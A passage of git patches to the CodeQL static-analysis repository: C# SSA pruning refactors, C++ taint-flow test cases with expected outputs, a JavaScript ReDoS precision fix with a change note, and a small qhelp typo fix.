pruneFromLeft(c) + private predicate sink(Callable c, CapturedWrittenLocalScopeVariable captured) { + reachbleFromSource(c) and + relevantDefinition(c, captured, _) + } + + private predicate prunedCallable(Callable c) { + sink(c, _) or - exists(Callable mid | pruneFromRight(mid) | - callEdge(c, mid) and - pruneFromLeft(c) - ) + exists(Callable mid | callEdge(c, mid) and prunedCallable(mid)) } - private class PrunedCallable extends Callable { - PrunedCallable() { pruneFromRight(this) } + private predicate prunedEdge(Callable c1, Callable c2) { + prunedCallable(c1) and + prunedCallable(c2) and + callEdge(c1, c2) } - private predicate callEdgePruned(PrunedCallable c1, PrunedCallable c2) { callEdge(c1, c2) } - - private predicate callEdgePrunedPlus(PrunedCallable c1, PrunedCallable c2) = - fastTC(callEdgePruned/2)(c1, c2) - - pragma[noinline] - private predicate relevantDefinitionProj(PrunedCallable c, CapturedWrittenLocalScopeVariable v) { - relevantDefinition(c, v, _) - } - - pragma[noinline] - private predicate updatesCapturedVariablePrefix( - Call call, CapturedWrittenLocalScopeSourceVariable v, PrunedCallable c, - CapturedWrittenLocalScopeVariable captured, boolean libraryDelegateCall - ) { - updateCandidate(_, _, v, call) and - captured = v.getAssignable() and - relevantDefinitionProj(_, captured) and - c = getARuntimeTarget(call, libraryDelegateCall) - } + private predicate edgePlus(Callable c1, Callable c2) = fastTC(prunedEdge/2)(c1, c2) /** * Holds if `call` may change the value of captured variable `v`. The actual @@ -1519,18 +1460,15 @@ module Ssa { */ pragma[noopt] private predicate updatesCapturedVariableWriter( - Call call, CapturedWrittenLocalScopeSourceVariable v, PrunedCallable writer, - boolean additionalCalls + Call call, CapturedWrittenLocalScopeSourceVariable v, Callable writer, boolean additionalCalls ) { - exists( - PrunedCallable c, CapturedWrittenLocalScopeVariable captured, boolean libraryDelegateCall - | - updatesCapturedVariablePrefix(call, v, c, captured, libraryDelegateCall) and - relevantDefinitionProj(writer, captured) and + exists(Callable src, CapturedWrittenLocalScopeVariable captured, boolean libraryDelegateCall | + source(call, v, captured, src, libraryDelegateCall) and + sink(writer, captured) and ( - c = writer and additionalCalls = libraryDelegateCall + src = writer and additionalCalls = libraryDelegateCall or - callEdgePrunedPlus(c, writer) and additionalCalls = true + edgePlus(src, writer) and additionalCalls = true ) ) } @@ -1641,8 +1579,8 @@ module Ssa { * block `bb` may be read by a callable reachable from the call `c`. */ private predicate implicitReadCandidate( - BasicBlock bb, int i, ControlFlow::Nodes::ElementNode c, - CapturedReadLocalScopeSourceVariable v + BasicBlock bb, int i, CapturedReadLocalScopeSourceVariable v, + ControlFlow::Nodes::ElementNode c ) { c.getElement() instanceof Call and exists(BasicBlock bb0, int i0 | bb0.getNode(i0) = c | @@ -1679,55 +1617,44 @@ module Ssa { ) } + private predicate source( + ControlFlow::Nodes::ElementNode call, CapturedReadLocalScopeSourceVariable v, + CapturedReadLocalScopeVariable captured, Callable c, boolean libraryDelegateCall + ) { + implicitReadCandidate(_, _, v, call) and + c = getARuntimeTarget(call.getElement(), libraryDelegateCall) and + captured = v.getAssignable() and + capturerReads(_, captured) + } + /** * Holds if `c` is a relevant part of the call graph for * `readsCapturedVariable` based on following edges in forward direction. */ - private predicate pruneFromLeft(Callable c) { - exists(Call call, CapturedReadLocalScopeSourceVariable v | - implicitReadCandidate(_, _, call.getAControlFlowNode(), v) and - c = getARuntimeTarget(call, _) - ) + private predicate reachbleFromSource(Callable c) { + source(_, _, _, c, _) or - exists(Callable mid | pruneFromLeft(mid) | callEdge(mid, c)) + exists(Callable mid | reachbleFromSource(mid) | callEdge(mid, c)) } - /** - * Holds if `c` is a relevant part of the call graph for - * `readsCapturedVariable` based on following edges in backward direction. - */ - private predicate pruneFromRight(Callable c) { - exists(CapturedReadLocalScopeSourceVariable v | - capturerReads(c, v.getAssignable()) and - capturedVariableWrite(_, _, v) and - pruneFromLeft(c) - ) + private predicate sink(Callable c, CapturedReadLocalScopeVariable captured) { + reachbleFromSource(c) and + capturerReads(c, captured) + } + + private predicate prunedCallable(Callable c) { + sink(c, _) or - exists(Callable mid | pruneFromRight(mid) | - callEdge(c, mid) and - pruneFromLeft(c) - ) + exists(Callable mid | callEdge(c, mid) and prunedCallable(mid)) } - private class PrunedCallable extends Callable { - PrunedCallable() { pruneFromRight(this) } + private predicate prunedEdge(Callable c1, Callable c2) { + prunedCallable(c1) and + prunedCallable(c2) and + callEdge(c1, c2) } - private predicate callEdgePruned(PrunedCallable c1, PrunedCallable c2) { callEdge(c1, c2) } - - private predicate callEdgePrunedPlus(PrunedCallable c1, PrunedCallable c2) = - fastTC(callEdgePruned/2)(c1, c2) - - pragma[noinline] - private predicate readsCapturedVariablePrefix( - ControlFlow::Node call, CapturedReadLocalScopeSourceVariable v, PrunedCallable c, - CapturedReadLocalScopeVariable captured, boolean libraryDelegateCall - ) { - implicitReadCandidate(_, _, call, v) and - captured = v.getAssignable() and - capturerReads(_, captured) and - c = getARuntimeTarget(call.getElement(), libraryDelegateCall) - } + private predicate edgePlus(Callable c1, Callable c2) = fastTC(prunedEdge/2)(c1, c2) /** * Holds if `call` may read the value of captured variable `v`. The actual @@ -1741,15 +1668,13 @@ module Ssa { ControlFlow::Nodes::ElementNode call, CapturedReadLocalScopeSourceVariable v, Callable reader, boolean additionalCalls ) { - exists( - PrunedCallable c, CapturedReadLocalScopeVariable captured, boolean libraryDelegateCall - | - readsCapturedVariablePrefix(call, v, c, captured, libraryDelegateCall) and - capturerReads(reader, captured) and + exists(Callable src, CapturedReadLocalScopeVariable captured, boolean libraryDelegateCall | + source(call, v, captured, src, libraryDelegateCall) and + sink(reader, captured) and ( - c = reader and additionalCalls = libraryDelegateCall + src = reader and additionalCalls = libraryDelegateCall or - callEdgePrunedPlus(c, reader) and additionalCalls = true + edgePlus(src, reader) and additionalCalls = true ) ) } @@ -1821,7 +1746,7 @@ module Ssa { ControlFlow::Nodes::ElementNode c, boolean additionalCalls ) { exists(Callable reader, SourceVariable sv | - implicitReadCandidate(bb, i, c, v) and + implicitReadCandidate(bb, i, v, c) and readsCapturedVariable(c, v, reader, additionalCalls) and sv = def.getSourceVariable() and reader = sv.getEnclosingCallable() and From bb158f1857b90597adf60b1fefbdfa92e1b604b2 Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen <mathiasvp@github.com> Date: Mon, 4 Jan 2021 11:43:07 +0100 Subject: [PATCH 0397/1241] C++: Add dataflow testcases that need flow through conflated memory. --- .../dataflow/fields/conflated.cpp | 62 +++++++++++++++++++ .../fields/dataflow-consistency.expected | 7 +++ .../fields/dataflow-ir-consistency.expected | 6 ++ .../fields/partial-definition-diff.expected | 16 +++++ .../fields/partial-definition-ir.expected | 1 + .../fields/partial-definition.expected | 17 +++++ .../dataflow/fields/path-flow.expected | 52 ++++++++++++++++ 7 files changed, 161 insertions(+) create mode 100644 cpp/ql/test/library-tests/dataflow/fields/conflated.cpp diff --git a/cpp/ql/test/library-tests/dataflow/fields/conflated.cpp b/cpp/ql/test/library-tests/dataflow/fields/conflated.cpp new file mode 100644 index 00000000000..aa600a99a5e --- /dev/null +++ b/cpp/ql/test/library-tests/dataflow/fields/conflated.cpp @@ -0,0 +1,62 @@ +int user_input(); +void sink(int); + +struct A { + int* p; + int x; +}; + +void pointer_without_allocation(const A& ra) { + *ra.p = user_input(); + sink(*ra.p); // $ MISSING: ast,ir +} + +void argument_source(void*); +void sink(void*); + +void pointer_without_allocation_2() { + char *raw; + argument_source(raw); + sink(raw); // $ ast MISSING: ir +} + +A* makeA() { + return new A; +} + +void no_InitializeDynamicAllocation_instruction() { + A* pa = makeA(); + pa->x = user_input(); + sink(pa->x); // $ ast MISSING: ir +} + +void fresh_or_arg(A* arg, bool unknown) { + A* pa; + pa = unknown ? arg : new A; + pa->x = user_input(); + sink(pa->x); // $ ast MISSING: ir +} + +struct LinkedList { + LinkedList* next; + int y; + + LinkedList() = default; + LinkedList(LinkedList* next) : next(next) {} +}; + +// Note: This example also suffers from #113: there is no ChiInstruction that merges the result of the +// InitializeDynamicAllocation instruction into {AllAliasedMemory}. But even when that's fixed there's +// still no dataflow because `ll->next->y = user_input()` writes to {AllAliasedMemory}. +void too_many_indirections() { + LinkedList* ll = new LinkedList; + ll->next = new LinkedList; + ll->next->y = user_input(); + sink(ll->next->y); // $ ast MISSING: ir +} + +void too_many_indirections_2(LinkedList* next) { + LinkedList* ll = new LinkedList(next); + ll->next->y = user_input(); + sink(ll->next->y); // $ ast MISSING: ir +} diff --git a/cpp/ql/test/library-tests/dataflow/fields/dataflow-consistency.expected b/cpp/ql/test/library-tests/dataflow/fields/dataflow-consistency.expected index 49b12c14350..c6528723d22 100644 --- a/cpp/ql/test/library-tests/dataflow/fields/dataflow-consistency.expected +++ b/cpp/ql/test/library-tests/dataflow/fields/dataflow-consistency.expected @@ -121,6 +121,13 @@ postWithInFlow | by_reference.cpp:127:30:127:38 | inner_ptr [inner post update] | PostUpdateNode should not be the target of local flow. | | complex.cpp:11:22:11:23 | a_ [post update] | PostUpdateNode should not be the target of local flow. | | complex.cpp:12:22:12:23 | b_ [post update] | PostUpdateNode should not be the target of local flow. | +| conflated.cpp:10:3:10:7 | * ... [post update] | PostUpdateNode should not be the target of local flow. | +| conflated.cpp:10:7:10:7 | p [inner post update] | PostUpdateNode should not be the target of local flow. | +| conflated.cpp:29:7:29:7 | x [post update] | PostUpdateNode should not be the target of local flow. | +| conflated.cpp:36:7:36:7 | x [post update] | PostUpdateNode should not be the target of local flow. | +| conflated.cpp:53:7:53:10 | next [post update] | PostUpdateNode should not be the target of local flow. | +| conflated.cpp:54:13:54:13 | y [post update] | PostUpdateNode should not be the target of local flow. | +| conflated.cpp:60:13:60:13 | y [post update] | PostUpdateNode should not be the target of local flow. | | constructors.cpp:20:24:20:25 | a_ [post update] | PostUpdateNode should not be the target of local flow. | | constructors.cpp:21:24:21:25 | b_ [post update] | PostUpdateNode should not be the target of local flow. | | qualifiers.cpp:9:36:9:36 | a [post update] | PostUpdateNode should not be the target of local flow. | diff --git a/cpp/ql/test/library-tests/dataflow/fields/dataflow-ir-consistency.expected b/cpp/ql/test/library-tests/dataflow/fields/dataflow-ir-consistency.expected index b09317c2c1b..63d3b2c0f48 100644 --- a/cpp/ql/test/library-tests/dataflow/fields/dataflow-ir-consistency.expected +++ b/cpp/ql/test/library-tests/dataflow/fields/dataflow-ir-consistency.expected @@ -1,6 +1,10 @@ uniqueEnclosingCallable uniqueType uniqueNodeLocation +| E.cpp:15:31:15:33 | buf | Node should have one location but has 2. | +| aliasing.cpp:2:11:2:13 | (unnamed parameter 0) | Node should have one location but has 2. | +| conflated.cpp:2:11:2:13 | (unnamed parameter 0) | Node should have one location but has 2. | +| conflated.cpp:14:22:14:25 | buf | Node should have one location but has 2. | | file://:0:0:0:0 | (unnamed parameter 0) | Node should have one location but has 0. | | file://:0:0:0:0 | (unnamed parameter 0) | Node should have one location but has 0. | | file://:0:0:0:0 | (unnamed parameter 0) | Node should have one location but has 0. | @@ -129,6 +133,8 @@ postWithInFlow | complex.cpp:54:12:54:12 | Chi | PostUpdateNode should not be the target of local flow. | | complex.cpp:55:12:55:12 | Chi | PostUpdateNode should not be the target of local flow. | | complex.cpp:56:12:56:12 | Chi | PostUpdateNode should not be the target of local flow. | +| conflated.cpp:45:39:45:42 | Chi | PostUpdateNode should not be the target of local flow. | +| conflated.cpp:53:3:53:27 | Chi | PostUpdateNode should not be the target of local flow. | | constructors.cpp:20:24:20:29 | Chi | PostUpdateNode should not be the target of local flow. | | constructors.cpp:21:24:21:29 | Chi | PostUpdateNode should not be the target of local flow. | | constructors.cpp:23:28:23:28 | Chi | PostUpdateNode should not be the target of local flow. | diff --git a/cpp/ql/test/library-tests/dataflow/fields/partial-definition-diff.expected b/cpp/ql/test/library-tests/dataflow/fields/partial-definition-diff.expected index bba86417ca5..996836a65b4 100644 --- a/cpp/ql/test/library-tests/dataflow/fields/partial-definition-diff.expected +++ b/cpp/ql/test/library-tests/dataflow/fields/partial-definition-diff.expected @@ -309,6 +309,22 @@ | complex.cpp:62:7:62:8 | b2 | AST only | | complex.cpp:65:7:65:8 | b3 | AST only | | complex.cpp:68:7:68:8 | b4 | AST only | +| conflated.cpp:10:3:10:7 | * ... | AST only | +| conflated.cpp:10:4:10:5 | ra | AST only | +| conflated.cpp:19:19:19:21 | raw | AST only | +| conflated.cpp:20:8:20:10 | raw | AST only | +| conflated.cpp:29:3:29:4 | pa | AST only | +| conflated.cpp:29:7:29:7 | x | AST only | +| conflated.cpp:36:3:36:4 | pa | AST only | +| conflated.cpp:36:7:36:7 | x | AST only | +| conflated.cpp:53:7:53:10 | next | AST only | +| conflated.cpp:54:3:54:4 | ll | AST only | +| conflated.cpp:54:7:54:10 | next | AST only | +| conflated.cpp:54:13:54:13 | y | AST only | +| conflated.cpp:59:35:59:38 | next | AST only | +| conflated.cpp:60:3:60:4 | ll | AST only | +| conflated.cpp:60:7:60:10 | next | AST only | +| conflated.cpp:60:13:60:13 | y | AST only | | constructors.cpp:20:24:20:25 | a_ | AST only | | constructors.cpp:21:24:21:25 | b_ | AST only | | constructors.cpp:28:10:28:10 | f | AST only | diff --git a/cpp/ql/test/library-tests/dataflow/fields/partial-definition-ir.expected b/cpp/ql/test/library-tests/dataflow/fields/partial-definition-ir.expected index 8d12b2a7e05..294c46a5694 100644 --- a/cpp/ql/test/library-tests/dataflow/fields/partial-definition-ir.expected +++ b/cpp/ql/test/library-tests/dataflow/fields/partial-definition-ir.expected @@ -57,6 +57,7 @@ | complex.cpp:54:6:54:10 | inner | | complex.cpp:55:6:55:10 | inner | | complex.cpp:56:6:56:10 | inner | +| conflated.cpp:53:3:53:4 | ll | | constructors.cpp:20:24:20:25 | this | | constructors.cpp:21:24:21:25 | this | | qualifiers.cpp:9:30:9:33 | this | diff --git a/cpp/ql/test/library-tests/dataflow/fields/partial-definition.expected b/cpp/ql/test/library-tests/dataflow/fields/partial-definition.expected index 6c58d51ff74..9b03e4f8039 100644 --- a/cpp/ql/test/library-tests/dataflow/fields/partial-definition.expected +++ b/cpp/ql/test/library-tests/dataflow/fields/partial-definition.expected @@ -366,6 +366,23 @@ | complex.cpp:62:7:62:8 | b2 | | complex.cpp:65:7:65:8 | b3 | | complex.cpp:68:7:68:8 | b4 | +| conflated.cpp:10:3:10:7 | * ... | +| conflated.cpp:10:4:10:5 | ra | +| conflated.cpp:19:19:19:21 | raw | +| conflated.cpp:20:8:20:10 | raw | +| conflated.cpp:29:3:29:4 | pa | +| conflated.cpp:29:7:29:7 | x | +| conflated.cpp:36:3:36:4 | pa | +| conflated.cpp:36:7:36:7 | x | +| conflated.cpp:53:3:53:4 | ll | +| conflated.cpp:53:7:53:10 | next | +| conflated.cpp:54:3:54:4 | ll | +| conflated.cpp:54:7:54:10 | next | +| conflated.cpp:54:13:54:13 | y | +| conflated.cpp:59:35:59:38 | next | +| conflated.cpp:60:3:60:4 | ll | +| conflated.cpp:60:7:60:10 | next | +| conflated.cpp:60:13:60:13 | y | | constructors.cpp:20:24:20:25 | a_ | | constructors.cpp:20:24:20:25 | this | | constructors.cpp:21:24:21:25 | b_ | diff --git a/cpp/ql/test/library-tests/dataflow/fields/path-flow.expected b/cpp/ql/test/library-tests/dataflow/fields/path-flow.expected index b932e0395f4..6604dde87d4 100644 --- a/cpp/ql/test/library-tests/dataflow/fields/path-flow.expected +++ b/cpp/ql/test/library-tests/dataflow/fields/path-flow.expected @@ -336,6 +336,27 @@ edges | complex.cpp:62:7:62:8 | b2 [inner, f, b_] | complex.cpp:40:17:40:17 | b [inner, f, b_] | | complex.cpp:65:7:65:8 | b3 [inner, f, a_] | complex.cpp:40:17:40:17 | b [inner, f, a_] | | complex.cpp:65:7:65:8 | b3 [inner, f, b_] | complex.cpp:40:17:40:17 | b [inner, f, b_] | +| conflated.cpp:19:19:19:21 | ref arg raw | conflated.cpp:20:8:20:10 | raw | +| conflated.cpp:29:3:29:4 | pa [post update] [x] | conflated.cpp:30:8:30:9 | pa [x] | +| conflated.cpp:29:3:29:22 | ... = ... | conflated.cpp:29:3:29:4 | pa [post update] [x] | +| conflated.cpp:29:11:29:20 | call to user_input | conflated.cpp:29:3:29:22 | ... = ... | +| conflated.cpp:30:8:30:9 | pa [x] | conflated.cpp:30:12:30:12 | x | +| conflated.cpp:36:3:36:4 | pa [post update] [x] | conflated.cpp:37:8:37:9 | pa [x] | +| conflated.cpp:36:3:36:22 | ... = ... | conflated.cpp:36:3:36:4 | pa [post update] [x] | +| conflated.cpp:36:11:36:20 | call to user_input | conflated.cpp:36:3:36:22 | ... = ... | +| conflated.cpp:37:8:37:9 | pa [x] | conflated.cpp:37:12:37:12 | x | +| conflated.cpp:54:3:54:4 | ll [post update] [next, y] | conflated.cpp:55:8:55:9 | ll [next, y] | +| conflated.cpp:54:3:54:28 | ... = ... | conflated.cpp:54:7:54:10 | next [post update] [y] | +| conflated.cpp:54:7:54:10 | next [post update] [y] | conflated.cpp:54:3:54:4 | ll [post update] [next, y] | +| conflated.cpp:54:17:54:26 | call to user_input | conflated.cpp:54:3:54:28 | ... = ... | +| conflated.cpp:55:8:55:9 | ll [next, y] | conflated.cpp:55:12:55:15 | next [y] | +| conflated.cpp:55:12:55:15 | next [y] | conflated.cpp:55:18:55:18 | y | +| conflated.cpp:60:3:60:4 | ll [post update] [next, y] | conflated.cpp:61:8:61:9 | ll [next, y] | +| conflated.cpp:60:3:60:28 | ... = ... | conflated.cpp:60:7:60:10 | next [post update] [y] | +| conflated.cpp:60:7:60:10 | next [post update] [y] | conflated.cpp:60:3:60:4 | ll [post update] [next, y] | +| conflated.cpp:60:17:60:26 | call to user_input | conflated.cpp:60:3:60:28 | ... = ... | +| conflated.cpp:61:8:61:9 | ll [next, y] | conflated.cpp:61:12:61:15 | next [y] | +| conflated.cpp:61:12:61:15 | next [y] | conflated.cpp:61:18:61:18 | y | | constructors.cpp:26:15:26:15 | f [a_] | constructors.cpp:28:10:28:10 | f [a_] | | constructors.cpp:26:15:26:15 | f [b_] | constructors.cpp:29:10:29:10 | f [b_] | | constructors.cpp:28:10:28:10 | f [a_] | constructors.cpp:28:12:28:12 | call to a | @@ -827,6 +848,32 @@ nodes | complex.cpp:62:7:62:8 | b2 [inner, f, b_] | semmle.label | b2 [inner, f, b_] | | complex.cpp:65:7:65:8 | b3 [inner, f, a_] | semmle.label | b3 [inner, f, a_] | | complex.cpp:65:7:65:8 | b3 [inner, f, b_] | semmle.label | b3 [inner, f, b_] | +| conflated.cpp:19:19:19:21 | ref arg raw | semmle.label | ref arg raw | +| conflated.cpp:20:8:20:10 | raw | semmle.label | raw | +| conflated.cpp:29:3:29:4 | pa [post update] [x] | semmle.label | pa [post update] [x] | +| conflated.cpp:29:3:29:22 | ... = ... | semmle.label | ... = ... | +| conflated.cpp:29:11:29:20 | call to user_input | semmle.label | call to user_input | +| conflated.cpp:30:8:30:9 | pa [x] | semmle.label | pa [x] | +| conflated.cpp:30:12:30:12 | x | semmle.label | x | +| conflated.cpp:36:3:36:4 | pa [post update] [x] | semmle.label | pa [post update] [x] | +| conflated.cpp:36:3:36:22 | ... = ... | semmle.label | ... = ... | +| conflated.cpp:36:11:36:20 | call to user_input | semmle.label | call to user_input | +| conflated.cpp:37:8:37:9 | pa [x] | semmle.label | pa [x] | +| conflated.cpp:37:12:37:12 | x | semmle.label | x | +| conflated.cpp:54:3:54:4 | ll [post update] [next, y] | semmle.label | ll [post update] [next, y] | +| conflated.cpp:54:3:54:28 | ... = ... | semmle.label | ... = ... | +| conflated.cpp:54:7:54:10 | next [post update] [y] | semmle.label | next [post update] [y] | +| conflated.cpp:54:17:54:26 | call to user_input | semmle.label | call to user_input | +| conflated.cpp:55:8:55:9 | ll [next, y] | semmle.label | ll [next, y] | +| conflated.cpp:55:12:55:15 | next [y] | semmle.label | next [y] | +| conflated.cpp:55:18:55:18 | y | semmle.label | y | +| conflated.cpp:60:3:60:4 | ll [post update] [next, y] | semmle.label | ll [post update] [next, y] | +| conflated.cpp:60:3:60:28 | ... = ... | semmle.label | ... = ... | +| conflated.cpp:60:7:60:10 | next [post update] [y] | semmle.label | next [post update] [y] | +| conflated.cpp:60:17:60:26 | call to user_input | semmle.label | call to user_input | +| conflated.cpp:61:8:61:9 | ll [next, y] | semmle.label | ll [next, y] | +| conflated.cpp:61:12:61:15 | next [y] | semmle.label | next [y] | +| conflated.cpp:61:18:61:18 | y | semmle.label | y | | constructors.cpp:26:15:26:15 | f [a_] | semmle.label | f [a_] | | constructors.cpp:26:15:26:15 | f [b_] | semmle.label | f [b_] | | constructors.cpp:28:10:28:10 | f [a_] | semmle.label | f [a_] | @@ -1028,6 +1075,11 @@ nodes | complex.cpp:42:18:42:18 | call to a | complex.cpp:55:19:55:28 | call to user_input | complex.cpp:42:18:42:18 | call to a | call to a flows from $@ | complex.cpp:55:19:55:28 | call to user_input | call to user_input | | complex.cpp:43:18:43:18 | call to b | complex.cpp:54:19:54:28 | call to user_input | complex.cpp:43:18:43:18 | call to b | call to b flows from $@ | complex.cpp:54:19:54:28 | call to user_input | call to user_input | | complex.cpp:43:18:43:18 | call to b | complex.cpp:56:19:56:28 | call to user_input | complex.cpp:43:18:43:18 | call to b | call to b flows from $@ | complex.cpp:56:19:56:28 | call to user_input | call to user_input | +| conflated.cpp:20:8:20:10 | raw | conflated.cpp:19:19:19:21 | ref arg raw | conflated.cpp:20:8:20:10 | raw | raw flows from $@ | conflated.cpp:19:19:19:21 | ref arg raw | ref arg raw | +| conflated.cpp:30:12:30:12 | x | conflated.cpp:29:11:29:20 | call to user_input | conflated.cpp:30:12:30:12 | x | x flows from $@ | conflated.cpp:29:11:29:20 | call to user_input | call to user_input | +| conflated.cpp:37:12:37:12 | x | conflated.cpp:36:11:36:20 | call to user_input | conflated.cpp:37:12:37:12 | x | x flows from $@ | conflated.cpp:36:11:36:20 | call to user_input | call to user_input | +| conflated.cpp:55:18:55:18 | y | conflated.cpp:54:17:54:26 | call to user_input | conflated.cpp:55:18:55:18 | y | y flows from $@ | conflated.cpp:54:17:54:26 | call to user_input | call to user_input | +| conflated.cpp:61:18:61:18 | y | conflated.cpp:60:17:60:26 | call to user_input | conflated.cpp:61:18:61:18 | y | y flows from $@ | conflated.cpp:60:17:60:26 | call to user_input | call to user_input | | constructors.cpp:28:12:28:12 | call to a | constructors.cpp:34:11:34:20 | call to user_input | constructors.cpp:28:12:28:12 | call to a | call to a flows from $@ | constructors.cpp:34:11:34:20 | call to user_input | call to user_input | | constructors.cpp:28:12:28:12 | call to a | constructors.cpp:36:11:36:20 | call to user_input | constructors.cpp:28:12:28:12 | call to a | call to a flows from $@ | constructors.cpp:36:11:36:20 | call to user_input | call to user_input | | constructors.cpp:29:12:29:12 | call to b | constructors.cpp:35:14:35:23 | call to user_input | constructors.cpp:29:12:29:12 | call to b | call to b flows from $@ | constructors.cpp:35:14:35:23 | call to user_input | call to user_input | From ce8cc2368be674e581a39704b8335b46332f71ce Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen <erik-krogh@github.com> Date: Mon, 4 Jan 2021 11:55:51 +0100 Subject: [PATCH 0398/1241] improve precision of intersect --- .../security/performance/ReDoSUtil.qll | 55 +++++++------------ .../ReDoS/PolynomialBackTracking.expected | 1 + 2 files changed, 22 insertions(+), 34 deletions(-) diff --git a/javascript/ql/src/semmle/javascript/security/performance/ReDoSUtil.qll b/javascript/ql/src/semmle/javascript/security/performance/ReDoSUtil.qll index e684389059e..2c4295c2381 100644 --- a/javascript/ql/src/semmle/javascript/security/performance/ReDoSUtil.qll +++ b/javascript/ql/src/semmle/javascript/security/performance/ReDoSUtil.qll @@ -177,7 +177,6 @@ CharClass getCanonicalCharClass(RegExpTerm term) { /** * Holds if `a` and `b` are input symbols from the same regexp. - * (And not a `Dot()`, `Any()` or `Epsilon()`) */ private predicate sharesRoot(TInputSymbol a, TInputSymbol b) { exists(RegExpRoot root | @@ -190,13 +189,10 @@ private predicate sharesRoot(TInputSymbol a, TInputSymbol b) { * Holds if the `a` is an input symbol from a regexp that has root `root`. */ private predicate belongsTo(TInputSymbol a, RegExpRoot root) { - exists(RegExpTerm term | getRoot(term) = root | - a = Char(term.(RegexpCharacterConstant).getValue().charAt(_)) - ) - or - exists(string str, RegExpTerm term | a = CharClass(str) | - term.getRawValue() = str and - getRoot(term) = root + exists(State s | getRoot(s.getRepr()) = root | + delta(s, a, _) + or + delta(_, a, s) ) } @@ -675,37 +671,28 @@ private string getAOverlapBetweenCharacterClasses(CharacterClass c, CharacterCla * Gets a character that is represented by both `c` and `d`. */ string intersect(InputSymbol c, InputSymbol d) { - c = Char(result) and - d = getAnInputSymbolMatching(result) and + (sharesRoot(c, d) or [c, d] = Any()) and ( - sharesRoot(c, d) + c = Char(result) and + d = getAnInputSymbolMatching(result) or - d = Dot() + result = getMinOverlapBetweenCharacterClasses(c, d) or - d = Any() + result = c.(CharacterClass).choose() and + ( + d = c + or + d = Dot() and + not (result = "\n" or result = "\r") + or + d = Any() + ) + or + (c = Dot() or c = Any()) and + (d = Dot() or d = Any()) and + result = "a" ) or - result = getMinOverlapBetweenCharacterClasses(c, d) - or - result = c.(CharacterClass).choose() and - ( - d = c - or - d = Dot() and - not (result = "\n" or result = "\r") - or - d = Any() - ) - or - c = Dot() and - ( - d = Dot() and result = "a" - or - d = Any() and result = "a" - ) - or - c = Any() and d = Any() and result = "a" - or result = intersect(d, c) } diff --git a/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialBackTracking.expected b/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialBackTracking.expected index d6870bec31e..36a832b857e 100644 --- a/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialBackTracking.expected +++ b/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialBackTracking.expected @@ -349,6 +349,7 @@ | tst.js:23:33:23:40 | [\\s\\S]*? | Strings starting with '(*(*' and with many repetitions of '(*' can start matching anywhere after the start of the preceeding (?:[\\s\\S]*?\\(\\*[\\s\\S]*?\\*\\))* | | tst.js:23:47:23:54 | [\\s\\S]*? | Strings starting with '(*' and with many repetitions of '(*a' can start matching anywhere after the start of the preceeding (?:[\\s\\S]*?\\(\\*[\\s\\S]*?\\*\\))* | | tst.js:28:24:28:25 | .* | Strings starting with '!\|' and with many repetitions of '\|' can start matching anywhere after the start of the preceeding .* | +| tst.js:28:59:28:60 | .* | Strings starting with '!\|\\n-\|\\n\|' and with many repetitions of '\|' can start matching anywhere after the start of the preceeding .* | | tst.js:31:23:31:24 | .* | Strings starting with '!\|' and with many repetitions of '\|' can start matching anywhere after the start of the preceeding .* | | tst.js:31:54:31:55 | .* | Strings starting with '!\|\\n-\|\\n' and with many repetitions of '\|\\n\|' can start matching anywhere after the start of the preceeding .* | | tst.js:31:58:31:59 | .* | Strings starting with '!\|\\n-\|\\n\|' and with many repetitions of '\|' can start matching anywhere after the start of the preceeding .* | From 1237e566d002c07d65528a5087ed3846d41dbfc0 Mon Sep 17 00:00:00 2001 From: Tom Hvitved <hvitved@github.com> Date: Mon, 4 Jan 2021 12:59:45 +0100 Subject: [PATCH 0399/1241] C#: Fix typo --- csharp/ql/src/API Abuse/FormatInvalid.qhelp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/csharp/ql/src/API Abuse/FormatInvalid.qhelp b/csharp/ql/src/API Abuse/FormatInvalid.qhelp index 6c2554e06a5..868c43ffc14 100644 --- a/csharp/ql/src/API Abuse/FormatInvalid.qhelp +++ b/csharp/ql/src/API Abuse/FormatInvalid.qhelp @@ -18,7 +18,7 @@ should be taken into account: </li> <li> Missing arguments will result in a <code>System.FormatException</code> exception - being thrown + being thrown. </li> </ol> From 368603eefa2739c41c479ab7abeccafb1a7cfd17 Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen <erik-krogh@github.com> Date: Mon, 4 Jan 2021 15:23:52 +0100 Subject: [PATCH 0400/1241] add change note --- javascript/change-notes/2021-01-04-superliniar-redos.md | 3 +++ 1 file changed, 3 insertions(+) create mode 100644 javascript/change-notes/2021-01-04-superliniar-redos.md diff --git a/javascript/change-notes/2021-01-04-superliniar-redos.md b/javascript/change-notes/2021-01-04-superliniar-redos.md new file mode 100644 index 00000000000..82c9ba6e298 --- /dev/null +++ b/javascript/change-notes/2021-01-04-superliniar-redos.md @@ -0,0 +1,3 @@ +lgtm,codescanning +* The `js/polynomial-redos` query has been improved by replacing the algorithm that detects expensive regular expressions. + This change reduces the number of false positives and detects new true positives. \ No newline at end of file From c069a5b4c654e06ea669e7cdef0793d5179c9944 Mon Sep 17 00:00:00 2001 From: luchua-bc <shengxin.canada@gmail.com> Date: Mon, 4 Jan 2021 14:51:32 +0000 Subject: [PATCH 0401/1241] Factor private host regex into the networking library and enhance the query --- .../Security/CWE/CWE-522/InsecureBasicAuth.ql | 12 +---- .../CWE/CWE-522/InsecureLdapAuth.qhelp | 2 +- .../Security/CWE/CWE-522/InsecureLdapAuth.ql | 54 +++++++------------ .../code/java/frameworks/Networking.qll | 10 ++++ .../CWE-522/InsecureLdapAuth.expected | 4 ++ .../security/CWE-522/InsecureLdapAuth.java | 15 ++++++ 6 files changed, 50 insertions(+), 47 deletions(-) diff --git a/java/ql/src/experimental/Security/CWE/CWE-522/InsecureBasicAuth.ql b/java/ql/src/experimental/Security/CWE/CWE-522/InsecureBasicAuth.ql index 1fadb5bda69..3ec836a0117 100644 --- a/java/ql/src/experimental/Security/CWE/CWE-522/InsecureBasicAuth.ql +++ b/java/ql/src/experimental/Security/CWE/CWE-522/InsecureBasicAuth.ql @@ -14,14 +14,6 @@ import semmle.code.java.frameworks.ApacheHttp import semmle.code.java.dataflow.TaintTracking import DataFlow::PathGraph -/** - * Gets a regular expression for matching private 